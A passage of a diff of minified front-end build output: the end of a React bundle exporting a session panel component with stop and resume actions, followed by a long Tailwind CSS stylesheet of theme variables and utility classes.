Overview"})]})),e.jsx(K,{open:a,onOpenChange:y=>{y||s()},title:k,size:A,focusTitle:!0,returnFocus:y=>ge(t,y)??document.querySelector("main"),actions:i&&e.jsxs(e.Fragment,{children:[!d&&e.jsxs(e.Fragment,{children:[e.jsx(z,{session:i,jump:m,variant:i.status==="needs-you"?"needs-you":"quiet"}),e.jsx(G,{session:i,stop:h})]}),e.jsx(U,{session:i,resume:g,tooltip:!1})]}),children:w})}function $e({sessionId:t,onClose:a,state:s,now:n,onStopped:l,onAnswered:u}){const[o,c]=p.useState(t);return t!==null&&t!==o&&c(t),o===null?null:e.jsx(Ne,{sessionId:o,open:t!==null,onClose:a,state:s,now:n,onStopped:l,onAnswered:u},o)}export{$e as SessionPanel};
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
@layer properties{@supports (((-webkit-hyphens:none)) and (not (margin-trim:inline))) or ((-moz-orient:inline) and (not (color:rgb(from red r g b)))){*,:before,:after,::backdrop{--tw-border-spacing-x:0;--tw-border-spacing-y:0;--tw-translate-x:0;--tw-translate-y:0;--tw-translate-z:0;--tw-rotate-x:initial;--tw-rotate-y:initial;--tw-rotate-z:initial;--tw-skew-x:initial;--tw-skew-y:initial;--tw-border-style:solid;--tw-leading:initial;--tw-font-weight:initial;--tw-ordinal:initial;--tw-slashed-zero:initial;--tw-numeric-figure:initial;--tw-numeric-spacing:initial;--tw-numeric-fraction:initial;--tw-shadow:0 0 #0000;--tw-shadow-color:initial;--tw-shadow-alpha:100%;--tw-inset-shadow:0 0 #0000;--tw-inset-shadow-color:initial;--tw-inset-shadow-alpha:100%;--tw-ring-color:initial;--tw-ring-shadow:0 0 #0000;--tw-inset-ring-color:initial;--tw-inset-ring-shadow:0 0 #0000;--tw-ring-inset:initial;--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-offset-shadow:0 0 #0000;--tw-outline-style:solid;--tw-blur:initial;--tw-brightness:initial;--tw-contrast:initial;--tw-grayscale:initial;--tw-hue-rotate:initial;--tw-invert:initial;--tw-opacity:initial;--tw-saturate:initial;--tw-sepia:initial;--tw-drop-shadow:initial;--tw-drop-shadow-color:initial;--tw-drop-shadow-alpha:100%;--tw-drop-shadow-size:initial;--tw-duration:initial;--tw-content:"";--tw-ease:initial;--tw-animation-delay:0s;--tw-animation-direction:normal;--tw-animation-duration:initial;--tw-animation-fill-mode:none;--tw-animation-iteration-count:1;--tw-enter-blur:0;--tw-enter-opacity:1;--tw-enter-rotate:0;--tw-enter-scale:1;--tw-enter-translate-x:0;--tw-enter-translate-y:0;--tw-exit-blur:0;--tw-exit-opacity:1;--tw-exit-rotate:0;--tw-exit-scale:1;--tw-exit-translate-x:0;--tw-exit-translate-y:0}}}@layer theme{:root,:host{--spacing:.25rem;--container-md:28rem;--container-3xl:48rem;--default-transition-duration:.15s;--default-transition-timing-function:cubic-bezier(.4, 0, .2, 1);--default-font-family:var(--font-sans);--default-mono-font-family:var(--font-mono);--font-sans:"Atkinson Hyperlegible Next", system-ui, sans-serif;--font-mono:"Atkinson Hyperlegible Mono", ui-monospace, "SF Mono", Menlo, monospace;--font-weight-normal:400;--font-weight-medium:500;--font-weight-semibold:600;--text-wait:46px;--text-wait--line-height:.95;--text-wait--letter-spacing:-.03em;--text-name:34px;--text-name--line-height:1.05;--text-name--letter-spacing:-.025em;--text-stat:28px;--text-stat--line-height:1;--text-stat--letter-spacing:-.02em;--text-unit:22px;--text-unit--line-height:1;--text-unit--letter-spacing:0;--text-wordmark:19px;--text-wordmark--line-height:1;--text-wordmark--letter-spacing:-.015em;--text-lead:16px;--text-lead--line-height:1.2;--text-title:15px;--text-title--line-height:1.3;--text-title--letter-spacing:-.006em;--text-row:14px;--text-row--line-height:1.45;--text-body:13px;--text-body--line-height:1.45;--text-fact:12.5px;--text-fact--line-height:1.45;--text-caption:12px;--text-caption--line-height:1.35;--text-micro:11px;--text-micro--line-height:1.2;--leading-tight:1.2;--radius-panel:24px;--radius-chrome:22px;--radius-inner:14px;--radius-row:10px;--radius-capsule:999px;--radius-tube:6px;--radius-bar:4px;--spacing-window:12px;--spacing-rail:76px;--spacing-header:56px;--spacing-row:44px;--spacing-group:40px;--spacing-log-row:38px;--spacing-control:30px;--spacing-button:28px;--spacing-button-hero:38px;--spacing-mark:14px;--spacing-icon:20px;--spacing-track:30px;--spacing-label-col:188px;--spacing-bar-needs-you:16px;--spacing-bar-working:10px;--spacing-bar-idle:2px;--spacing-waited-name:132px;--ease-out:cubic-bezier(.2, .7, .2, 1);--animate-lamp:lamp 3.2s ease-in-out infinite;--animate-spin-loader:spin-loader .9s linear infinite;--animate-rise-fast:rise .24s ease-out both;--animate-fade-in:fade-in .2s ease-out both;--animate-fade-out:fade-out .15s ease-in both;--animate-drop:drop .15s ease-in both}}@layer base{*,:after,:before,::backdrop{box-sizing:border-box;border:0 solid;margin:0;padding:0}::file-selector-button{box-sizing:border-box;border:0 solid;margin:0;padding:0}html,:host{-webkit-text-size-adjust:100%;tab-size:4;line-height:1.5;font-family:var(--default-font-family,-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", "Noto Sans", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji");font-feature-settings:var(--default-font-feature-settings,normal);font-variation-settings:var(--default-font-variation-settings,normal);-webkit-tap-highlight-color:transparent}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;-webkit-text-decoration:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--default-mono-font-family,ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace);font-feature-settings:var(--default-mono-font-feature-settings,normal);font-variation-settings:var(--default-mono-font-variation-settings,normal);font-size:1em}small{font-size:80%}sub,sup{vertical-align:baseline;font-size:75%;line-height:0;position:relative}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}:-moz-focusring:where(:not(iframe)){outline:auto}progress{vertical-align:baseline}summary{display:list-item}ol,ul,menu{list-style:none}img,svg,video,canvas,audio,iframe,embed,object{vertical-align:middle;display:block}img,video{max-width:100%;height:auto}button,input,select,optgroup,textarea{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}::file-selector-button{font:inherit;font-feature-settings:inherit;font-variation-settings:inherit;letter-spacing:inherit;color:inherit;opacity:1;background-color:#0000;border-radius:0}:where(select:is([multiple],[size])) optgroup{font-weight:bolder}:where(select:is([multiple],[size])) optgroup option{padding-inline-start:20px}::file-selector-button{margin-inline-end:4px}::placeholder{opacity:1}@supports (not ((-webkit-appearance:-apple-pay-button))) or (contain-intrinsic-size:1px){::placeholder{color:currentColor}@supports (color:color-mix(in lab,red,red)){::placeholder{color:color-mix(in oklab,currentcolor 50%,transparent)}}}textarea{resize:vertical}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-date-and-time-value{min-height:1lh;text-align:inherit}::-webkit-datetime-edit{display:inline-flex}::-webkit-datetime-edit-fields-wrapper{padding:0}::-webkit-datetime-edit{padding-block:0}::-webkit-datetime-edit-year-field{padding-block:0}::-webkit-datetime-edit-month-field{padding-block:0}::-webkit-datetime-edit-day-field{padding-block:0}::-webkit-datetime-edit-hour-field{padding-block:0}::-webkit-datetime-edit-minute-field{padding-block:0}::-webkit-datetime-edit-second-field{padding-block:0}::-webkit-datetime-edit-millisecond-field{padding-block:0}::-webkit-datetime-edit-meridiem-field{padding-block:0}::-webkit-calendar-picker-indicator{line-height:1}:-moz-ui-invalid{box-shadow:none}button,input:where([type=button],[type=reset],[type=submit]){appearance:button}::file-selector-button{appearance:button}::-webkit-inner-spin-button{height:auto}::-webkit-outer-spin-button{height:auto}[hidden]:where(:not([hidden=until-found])){display:none!important}*{border-color:var(--hairline);outline-color:var(--focus)}html{background-color:var(--ground-top)}body{min-height:100vh;color:var(--ink);-webkit-font-smoothing:antialiased;text-rendering:optimizelegibility;background-color:#0000;font-size:14px;line-height:1.45}code,kbd,samp,pre{letter-spacing:-.02em;word-spacing:-.22em;font-variant-numeric:tabular-nums}:focus-visible{outline:2px solid var(--focus);outline-offset:2px}::selection{background-color:var(--focus)}@supports (color:color-mix(in lab,red,red)){::selection{background-color:color-mix(in srgb,var(--focus) 32%,transparent)}}}@layer components{.ground{z-index:-1;pointer-events:none;background-image:var(--ground);position:fixed;inset:0;overflow:hidden}.ground>i{will-change:transform;border-radius:50%;display:block;position:absolute}.ground-main{top:var(--field-main-top);right:var(--field-main-right);width:var(--field-main-width);height:var(--field-main-height);transform:rotate(var(--field-main-turn));background-image:radial-gradient(closest-side,rgb(var(--field) / var(--field-strength)),rgb(var(--field) / calc(var(--field-strength) * .4)) 52%,transparent 100%)}.ground-deep{background-image:radial-gradient(closest-side,rgb(var(--field-deep) / calc(var(--field-strength) * .85)),rgb(var(--field-deep) / calc(var(--field-strength) * .3)) 55%,transparent 100%);width:1180px;height:880px;top:520px;left:-300px}.ground-far{background-image:radial-gradient(closest-side,rgb(var(--field) / calc(var(--field-strength) * .45)),transparent 100%);width:900px;height:600px;top:820px;left:46%}.ground:after{content:"";opacity:var(--grain);mix-blend-mode:overlay;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='160' height='160'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='.9' numOctaves='2' stitchTiles='stitch'/%3E%3CfeColorMatrix values='0 0 0 0 .5 0 0 0 0 .5 0 0 0 0 .5 0 0 0 1 0'/%3E%3C/filter%3E%3Crect width='160' height='160' filter='url(%23n)'/%3E%3C/svg%3E");position:absolute;inset:0}@media(prefers-reduced-motion:no-preference){.ground-main{animation:96s ease-in-out infinite alternate drift-main}.ground-deep{animation:124s ease-in-out infinite alternate drift-deep}.ground-far{animation:150s ease-in-out infinite alternate drift-far}.ground[data-drift=paused]>i{animation-play-state:paused}}@keyframes drift-main{to{transform:rotate(var(--field-main-turn)) translate3d(-90px,70px,0) scale(1.06)}}@keyframes drift-deep{to{transform:translate(120px,-60px)scale(1.04)}}@keyframes drift-far{to{transform:translate(-140px,-40px)}}.glass-chrome,.glass-card,.glass-raised,.glass-float{isolation:isolate;position:relative}.glass-chrome{--rim-paint:var(--rim);border-radius:var(--radius-chrome);background-color:var(--glass-chrome);box-shadow:var(--elev-1)}.glass-card{--rim-paint:var(--rim);border-radius:var(--radius-panel);background-color:var(--glass-card);box-shadow:var(--elev-2)}.glass-raised{--rim-paint:var(--rim-raised);border-radius:var(--radius-panel);background-color:var(--glass-raised);box-shadow:var(--elev-3)}.glass-raised[data-light=lamp]{--rim-paint:var(--rim-lamp), var(--rim-raised)}.glass-raised[data-light=rest]{--rim-paint:var(--rim-rest), var(--rim-raised)}.glass-float{--rim-paint:var(--rim-raised);border-radius:var(--radius-panel);background-color:var(--glass-float);box-shadow:var(--elev-3)}:is(.glass-chrome,.glass-card,.glass-raised,.glass-float):before{content:"";z-index:3;border-radius:inherit;pointer-events:none;background:var(--rim-paint);padding:1px;position:absolute;inset:0;-webkit-mask-image:linear-gradient(#000 0 0),linear-gradient(#000 0 0);mask-image:linear-gradient(#000 0 0),linear-gradient(#000 0 0);-webkit-mask-position:0 0,0 0;mask-position:0 0,0 0;-webkit-mask-size:auto,auto;mask-size:auto,auto;-webkit-mask-repeat:repeat,repeat;mask-repeat:repeat,repeat;-webkit-mask-clip:content-box,border-box;mask-clip:content-box,border-box;-webkit-mask-origin:content-box,border-box;mask-origin:content-box,border-box;-webkit-mask-composite:xor;mask-composite:exclude;-webkit-mask-source-type:auto,auto;mask-mode:match-source,match-source}:is(.glass-chrome,.glass-card,.glass-raised,.glass-float):after{content:"";z-index:-1;border-radius:inherit;pointer-events:none;background-image:var(--sheen);position:absolute;inset:0}@supports not ((mask-composite:exclude) or (-webkit-mask-composite:xor)){:is(.glass-chrome,.glass-card,.glass-raised,.glass-float):before{box-shadow:inset 0 1px 0 var(--control-top),inset 0 0 0 1px var(--rule);background:0 0;padding:0;-webkit-mask:none;mask:none}}.glass-blur{-webkit-backdrop-filter:blur(var(--glass-blur)) saturate(var(--saturate));backdrop-filter:blur(var(--glass-blur)) saturate(var(--saturate))}.lamp-light,.rest-light{--light-reach:60px;z-index:0;top:-90px;left:calc(var(--light-reach) * -1);width:min(820px,calc(100% + var(--light-reach)));pointer-events:none;height:520px;filter:saturate(var(--saturate-hero));-webkit-mask-image:linear-gradient(to right,transparent calc(var(--light-reach) - var(--spacing-window)),#000 var(--light-reach));mask-image:linear-gradient(to right,transparent calc(var(--light-reach) - var(--spacing-window)),#000 var(--light-reach));position:absolute}.lamp-light:before,.rest-light:before{content:"";border-radius:50%;position:absolute}.lamp-light{background-image:radial-gradient(closest-side,rgb(var(--lamp) / calc(var(--lamp-strength) * .3)),rgb(var(--lamp) / calc(var(--lamp-strength) * .09)) 50%,transparent 100%)}.lamp-light:before{background-image:radial-gradient(closest-side,rgb(var(--lamp) / var(--lamp-strength)),rgb(var(--lamp) / calc(var(--lamp-strength) * .35)) 55%,transparent 100%);width:63%;height:330px;top:50px;left:3.7%}.rest-light{background-image:radial-gradient(closest-side,rgb(var(--rest) / calc(var(--rest-strength) * .5)),rgb(var(--rest) / calc(var(--rest-strength) * .2)) 50%,transparent 100%)}.rest-light:before{background-image:radial-gradient(closest-side,rgb(var(--rest) / var(--rest-strength)),rgb(var(--rest) / calc(var(--rest-strength) * .35)) 55%,transparent 100%);width:78%;height:360px;top:40px;left:14.6%}@media(prefers-reduced-motion:no-preference){.lamp-light{animation:lamp-rise 1.2s var(--ease-out) both}}@keyframes lamp-rise{0%{opacity:0;transform:translateY(90px)scale(.9)}}.bar-open{background-color:var(--status-needs-you);box-shadow:inset 0 0 0 1px var(--status-needs-you-edge),var(--bar-glow,0 0 transparent)}.bar-glow{--bar-glow:0 0 16px -3px var(--glow-needs-you)}.bar-answered{background-color:var(--answered-fill);box-shadow:inset 0 0 0 1.5px var(--status-idle)}.bar-working{background-color:var(--status-working-fill);box-shadow:inset 0 1px 0 var(--status-working-top)}.bar-idle{background-color:var(--status-idle)}.stale-dots{background-image:repeating-linear-gradient(to right,var(--status-idle) 0 2px,transparent 2px 6px)}.bar-tube{background-color:var(--tube);box-shadow:inset 0 0 0 1px var(--tube-rim),inset 0 1px 0 var(--tube-top)}.unmeasured-hatch{background-image:repeating-linear-gradient(135deg,var(--unmeasured) 0 1px,transparent 1px 6px)}.thin-scroll::-webkit-scrollbar{width:4px;height:4px}.thin-scroll::-webkit-scrollbar-thumb{background-color:var(--rule-strong);border-radius:999px}.thin-scroll::-webkit-scrollbar-track{background:0 0}@supports not selector(::-webkit-scrollbar){.thin-scroll{scrollbar-width:thin;scrollbar-color:var(--rule-strong) transparent}}[data-host=app] :is([data-slot=header],[data-slot=rail-buttons],[data-slot=ground-above]){-webkit-app-region:drag}[data-host=app] :is([data-slot=header],[data-slot=rail]) :is(a,button,input,select,textarea,summary,[role=button],[tabindex]),[data-host=app] body>:not(#root){-webkit-app-region:no-drag}[data-host=app]{scrollbar-width:thin}}@layer utilities{.\@container{container-type:inline-size}.pointer-events-none{pointer-events:none}.invisible{visibility:hidden}.visible{visibility:visible}.sr-only{clip-path:inset(50%);white-space:nowrap;border-width:0;width:1px;height:1px;margin:-1px;padding:0;position:absolute;overflow:hidden}.absolute{position:absolute}.fixed{position:fixed}.relative{position:relative}.static{position:static}.sticky{position:sticky}.inset-0{inset:0}.inset-x-0{inset-inline:0}.inset-y-0{inset-block:0}.inset-y-0\.75{inset-block:calc(var(--spacing) * .75)}.-top-1\.75{top:calc(var(--spacing) * -1.75)}.top-0{top:0}.top-1\.75{top:calc(var(--spacing) * 1.75)}.top-1\/2{top:50%}.top-2{top:calc(var(--spacing) * 2)}.top-window{top:var(--spacing-window)}.-right-7\.5{right:calc(var(--spacing) * -7.5)}.right-0{right:0}.right-full{right:100%}.bottom-0{bottom:0}.bottom-1\/2{bottom:50%}.bottom-auto{bottom:auto}.left-0{left:0}.left-0\.75{left:calc(var(--spacing) * .75)}.left-1\/2{left:50%}.left-3\.5{left:calc(var(--spacing) * 3.5)}.isolate{isolation:isolate}.z-0{z-index:0}.z-1{z-index:1}.z-10{z-index:10}.z-20{z-index:20}.z-30{z-index:30}.z-40{z-index:40}.z-50{z-index:50}.z-60{z-index:60}.col-span-1{grid-column:span 1/span 1}.col-span-2{grid-column:span 2/span 2}.col-span-4{grid-column:span 4/span 4}.col-span-8{grid-column:span 8/span 8}.col-start-1{grid-column-start:1}.col-start-2{grid-column-start:2}.row-start-1{grid-row-start:1}.row-start-2{grid-row-start:2}.row-start-3{grid-row-start:3}.row-start-4{grid-row-start:4}.container{width:100%}@media(min-width:761px){.container{max-width:761px}}@media(min-width:1181px){.container{max-width:1181px}}.-m-2{margin:calc(var(--spacing) * -2)}.-mx-1\.5{margin-inline:calc(var(--spacing) * -1.5)}.mx-1\.5{margin-inline:calc(var(--spacing) * 1.5)}.mx-2\.5{margin-inline:calc(var(--spacing) * 2.5)}.mx-auto{margin-inline:auto}.-my-0\.5{margin-block:calc(var(--spacing) * -.5)}.-my-2\.5{margin-block:calc(var(--spacing) * -2.5)}.my-auto{margin-block:auto}.mt-0\.5{margin-top:calc(var(--spacing) * .5)}.mt-0\.75{margin-top:calc(var(--spacing) * .75)}.mt-1{margin-top:var(--spacing)}.mt-1\.5{margin-top:calc(var(--spacing) * 1.5)}.mt-2{margin-top:calc(var(--spacing) * 2)}.mt-2\.5{margin-top:calc(var(--spacing) * 2.5)}.mt-3{margin-top:calc(var(--spacing) * 3)}.mt-3\.5{margin-top:calc(var(--spacing) * 3.5)}.mt-4{margin-top:calc(var(--spacing) * 4)}.mt-5{margin-top:calc(var(--spacing) * 5)}.mt-6{margin-top:calc(var(--spacing) * 6)}.mt-10{margin-top:calc(var(--spacing) * 10)}.mt-\[6vh\]{margin-top:6vh}.mt-px{margin-top:1px}.mr-1{margin-right:var(--spacing)}.mr-1\.5{margin-right:calc(var(--spacing) * 1.5)}.mr-11\.5{margin-right:calc(var(--spacing) * 11.5)}.mb-1{margin-bottom:var(--spacing)}.mb-2\.5{margin-bottom:calc(var(--spacing) * 2.5)}.mb-3{margin-bottom:calc(var(--spacing) * 3)}.mb-4{margin-bottom:calc(var(--spacing) * 4)}.-ml-0\.5{margin-left:calc(var(--spacing) * -.5)}.ml-0\.5{margin-left:calc(var(--spacing) * .5)}.ml-6{margin-left:calc(var(--spacing) * 6)}.ml-auto{margin-left:auto}.ml-label-col{margin-left:var(--spacing-label-col)}.line-clamp-2{-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}.\!hidden{display:none!important}.block{display:block}.contents{display:contents}.flex{display:flex}.grid{display:grid}.hidden{display:none}.inline{display:inline}.inline-block{display:inline-block}.inline-flex{display:inline-flex}.inline-grid{display:inline-grid}.table{display:table}.size-2\.5{width:calc(var(--spacing) * 2.5);height:calc(var(--spacing) * 2.5)}.size-3{width:calc(var(--spacing) * 3);height:calc(var(--spacing) * 3)}.size-3\.5{width:calc(var(--spacing) * 3.5);height:calc(var(--spacing) * 3.5)}.size-4{width:calc(var(--spacing) * 4);height:calc(var(--spacing) * 4)}.size-4\.5{width:calc(var(--spacing) * 4.5);height:calc(var(--spacing) * 4.5)}.size-6\.5{width:calc(var(--spacing) * 6.5);height:calc(var(--spacing) * 6.5)}.size-7\.5{width:calc(var(--spacing) * 7.5);height:calc(var(--spacing) * 7.5)}.size-button{width:var(--spacing-button);height:var(--spacing-button)}.size-icon{width:var(--spacing-icon);height:var(--spacing-icon)}.size-mark{width:var(--spacing-mark);height:var(--spacing-mark)}.h-1\.5{height:calc(var(--spacing) * 1.5)}.h-2\.5{height:calc(var(--spacing) * 2.5)}.h-3{height:calc(var(--spacing) * 3)}.h-5{height:calc(var(--spacing) * 5)}.h-5\.5{height:calc(var(--spacing) * 5.5)}.h-7{height:calc(var(--spacing) * 7)}.h-11{height:calc(var(--spacing) * 11)}.h-55{height:calc(var(--spacing) * 55)}.h-bar-idle{height:var(--spacing-bar-idle)}.h-bar-needs-you{height:var(--spacing-bar-needs-you)}.h-bar-working{height:var(--spacing-bar-working)}.h-button{height:var(--spacing-button)}.h-button-hero{height:var(--spacing-button-hero)}.h-control{height:var(--spacing-control)}.h-full{height:100%}.h-group{height:var(--spacing-group)}.h-header{height:var(--spacing-header)}.h-px{height:1px}.h-row{height:var(--spacing-row)}.h-track{height:var(--spacing-track)}.h-window{height:var(--spacing-window)}.max-h-57{max-height:calc(var(--spacing) * 57)}.max-h-60{max-height:calc(var(--spacing) * 60)}.max-h-\[min\(26rem\,55vh\)\]{max-height:min(26rem,55vh)}.min-h-9{min-height:calc(var(--spacing) * 9)}.min-h-28{min-height:calc(var(--spacing) * 28)}.min-h-65{min-height:calc(var(--spacing) * 65)}.min-h-button{min-height:var(--spacing-button)}.min-h-log-row{min-height:var(--spacing-log-row)}.min-h-screen{min-height:100vh}.w-0{width:0}.w-0\.5{width:calc(var(--spacing) * .5)}.w-3\.5{width:calc(var(--spacing) * 3.5)}.w-5\.5{width:calc(var(--spacing) * 5.5)}.w-14{width:calc(var(--spacing) * 14)}.w-15\.5{width:calc(var(--spacing) * 15.5)}.w-16{width:calc(var(--spacing) * 16)}.w-20{width:calc(var(--spacing) * 20)}.w-24{width:calc(var(--spacing) * 24)}.w-25{width:calc(var(--spacing) * 25)}.w-28{width:calc(var(--spacing) * 28)}.w-30{width:calc(var(--spacing) * 30)}.w-40{width:calc(var(--spacing) * 40)}.w-96{width:calc(var(--spacing) * 96)}.w-\[min\(440px\,100\%\)\]{width:min(440px,100%)}.w-\[min\(600px\,100\%\)\]{width:min(600px,100%)}.w-\[min\(760px\,100\%\)\]{width:min(760px,100%)}.w-fit{width:fit-content}.w-full{width:100%}.w-label-col{width:var(--spacing-label-col)}.w-mark{width:var(--spacing-mark)}.w-px{width:1px}.w-rail{width:var(--spacing-rail)}.w-waited-name{width:var(--spacing-waited-name)}.max-w-3xl{max-width:var(--container-3xl)}.max-w-155{max-width:calc(var(--spacing) * 155)}.max-w-\[52ch\]{max-width:52ch}.max-w-\[56ch\]{max-width:56ch}.max-w-\[620px\]{max-width:620px}.max-w-\[min\(26rem\,calc\(100vw-1\.5rem\)\)\]{max-width:min(26rem,100vw - 1.5rem)}.max-w-full{max-width:100%}.max-w-md{max-width:var(--container-md)}.min-w-0{min-width:0}.min-w-0\.5{min-width:calc(var(--spacing) * .5)}.min-w-0\.75{min-width:calc(var(--spacing) * .75)}.min-w-4{min-width:calc(var(--spacing) * 4)}.min-w-5\.5{min-width:calc(var(--spacing) * 5.5)}.min-w-16{min-width:calc(var(--spacing) * 16)}.flex-1{flex:1}.shrink-0{flex-shrink:0}.grow{flex-grow:1}.basis-32{flex-basis:calc(var(--spacing) * 32)}.basis-40{flex-basis:calc(var(--spacing) * 40)}.basis-full{flex-basis:100%}.table-fixed{table-layout:fixed}.border-collapse{border-collapse:collapse}.border-separate{border-collapse:separate}.border-spacing-0{--tw-border-spacing-x:0px;--tw-border-spacing-y:0px;border-spacing:var(--tw-border-spacing-x) var(--tw-border-spacing-y)}.-translate-x-1\/2{--tw-translate-x: -50% ;translate:var(--tw-translate-x) var(--tw-translate-y)}.-translate-y-1\/2{--tw-translate-y: -50% ;translate:var(--tw-translate-x) var(--tw-translate-y)}.transform{transform:var(--tw-rotate-x,) var(--tw-rotate-y,) var(--tw-rotate-z,) var(--tw-skew-x,) var(--tw-skew-y,)}.animate-spin-loader{animation:var(--animate-spin-loader)}.cursor-crosshair{cursor:crosshair}.cursor-pointer{cursor:pointer}.resize{resize:both}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.grid-cols-12{grid-template-columns:repeat(12,minmax(0,1fr))}.grid-cols-\[auto_minmax\(0\,1fr\)\]{grid-template-columns:auto minmax(0,1fr)}.grid-cols-\[minmax\(0\,1\.75fr\)_minmax\(0\,1fr\)\]{grid-template-columns:minmax(0,1.75fr) minmax(0,1fr)}.flex-col{flex-direction:column}.flex-col-reverse{flex-direction:column-reverse}.flex-wrap{flex-wrap:wrap}.place-items-center{place-items:center}.items-baseline{align-items:baseline}.items-center{align-items:center}.items-end{align-items:flex-end}.items-start{align-items:flex-start}.items-stretch{align-items:stretch}.justify-between{justify-content:space-between}.justify-center{justify-content:center}.justify-start{justify-content:flex-start}.gap-0\.5{gap:calc(var(--spacing) * .5)}.gap-1{gap:var(--spacing)}.gap-1\.5{gap:calc(var(--spacing) * 1.5)}.gap-1\.25{gap:calc(var(--spacing) * 1.25)}.gap-1\.75{gap:calc(var(--spacing) * 1.75)}.gap-2{gap:calc(var(--spacing) * 2)}.gap-2\.5{gap:calc(var(--spacing) * 2.5)}.gap-3{gap:calc(var(--spacing) * 3)}.gap-3\.5{gap:calc(var(--spacing) * 3.5)}.gap-4{gap:calc(var(--spacing) * 4)}.gap-5{gap:calc(var(--spacing) * 5)}.gap-6{gap:calc(var(--spacing) * 6)}.gap-px{gap:1px}.gap-window{gap:var(--spacing-window)}.gap-x-1{column-gap:var(--spacing)}.gap-x-2{column-gap:calc(var(--spacing) * 2)}.gap-x-2\.5{column-gap:calc(var(--spacing) * 2.5)}.gap-x-3{column-gap:calc(var(--spacing) * 3)}.gap-x-3\.5{column-gap:calc(var(--spacing) * 3.5)}.gap-x-4{column-gap:calc(var(--spacing) * 4)}.gap-x-6{column-gap:calc(var(--spacing) * 6)}.gap-x-12{column-gap:calc(var(--spacing) * 12)}.gap-y-1{row-gap:var(--spacing)}.gap-y-1\.5{row-gap:calc(var(--spacing) * 1.5)}.gap-y-2{row-gap:calc(var(--spacing) * 2)}.gap-y-4{row-gap:calc(var(--spacing) * 4)}.gap-y-7{row-gap:calc(var(--spacing) * 7)}.gap-y-px{row-gap:1px}.self-center{align-self:center}.justify-self-start{justify-self:flex-start}.truncate{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.overflow-hidden{overflow:hidden}.overflow-visible{overflow:visible}.overflow-x-clip{overflow-x:clip}.overflow-y-auto{overflow-y:auto}.rounded-bar{border-radius:var(--radius-bar)}.rounded-capsule{border-radius:var(--radius-capsule)}.rounded-chrome{border-radius:var(--radius-chrome)}.rounded-inner{border-radius:var(--radius-inner)}.rounded-panel{border-radius:var(--radius-panel)}.rounded-row{border-radius:var(--radius-row)}.rounded-tube{border-radius:var(--radius-tube)}.rounded-t-chrome{border-top-left-radius:var(--radius-chrome);border-top-right-radius:var(--radius-chrome)}.rounded-t-tube{border-top-left-radius:var(--radius-tube);border-top-right-radius:var(--radius-tube)}.rounded-b-bar{border-bottom-right-radius:var(--radius-bar);border-bottom-left-radius:var(--radius-bar)}.border{border-style:var(--tw-border-style);border-width:1px}.border-\[1\.5px\]{border-style:var(--tw-border-style);border-width:1.5px}.border-t{border-top-style:var(--tw-border-style);border-top-width:1px}.border-b{border-bottom-style:var(--tw-border-style);border-bottom-width:1px}.border-l{border-left-style:var(--tw-border-style);border-left-width:1px}.border-dotted{--tw-border-style:dotted;border-style:dotted}.border-hairline{border-color:var(--hairline)}.border-ink-muted{border-color:var(--ink-muted)}.border-rule{border-color:var(--rule)}.border-rule-strong{border-color:var(--rule-strong)}.border-t-ink-secondary{border-top-color:var(--ink-secondary)}.bg-fill-quiet{background-color:var(--fill-quiet)}.bg-fill-selected{background-color:var(--fill-selected)}.bg-fill-zebra{background-color:var(--fill-zebra)}.bg-glass-float{background-color:var(--glass-float)}.bg-hairline{background-color:var(--hairline)}.bg-rule{background-color:var(--rule)}.bg-rule-strong{background-color:var(--rule-strong)}.bg-scrim{background-color:var(--scrim)}.bg-status-finished{background-color:var(--status-finished)}.bg-status-needs-you{background-color:var(--status-needs-you)}.bg-thumb{background-color:var(--thumb)}.bg-transparent{background-color:#0000}.bg-well{background-color:var(--well)}.bg-fixed{background-attachment:fixed}.fill-ink-muted{fill:var(--ink-muted)}.fill-status-needs-you{fill:var(--status-needs-you)}.stroke-status-needs-you-edge{stroke:var(--status-needs-you-edge)}.p-0\.75{padding:calc(var(--spacing) * .75)}.p-2{padding:calc(var(--spacing) * 2)}.p-2\.5{padding:calc(var(--spacing) * 2.5)}.p-5{padding:calc(var(--spacing) * 5)}.p-6{padding:calc(var(--spacing) * 6)}.p-10{padding:calc(var(--spacing) * 10)}.p-window{padding:var(--spacing-window)}.px-0{padding-inline:0}.px-1\.5{padding-inline:calc(var(--spacing) * 1.5)}.px-2{padding-inline:calc(var(--spacing) * 2)}.px-2\.5{padding-inline:calc(var(--spacing) * 2.5)}.px-3{padding-inline:calc(var(--spacing) * 3)}.px-3\.5{padding-inline:calc(var(--spacing) * 3.5)}.px-4{padding-inline:calc(var(--spacing) * 4)}.px-5{padding-inline:calc(var(--spacing) * 5)}.px-6{padding-inline:calc(var(--spacing) * 6)}.px-6\.5{padding-inline:calc(var(--spacing) * 6.5)}.px-7{padding-inline:calc(var(--spacing) * 7)}.py-0\.5{padding-block:calc(var(--spacing) * .5)}.py-1\.5{padding-block:calc(var(--spacing) * 1.5)}.py-2{padding-block:calc(var(--spacing) * 2)}.py-2\.5{padding-block:calc(var(--spacing) * 2.5)}.py-3{padding-block:calc(var(--spacing) * 3)}.py-8{padding-block:calc(var(--spacing) * 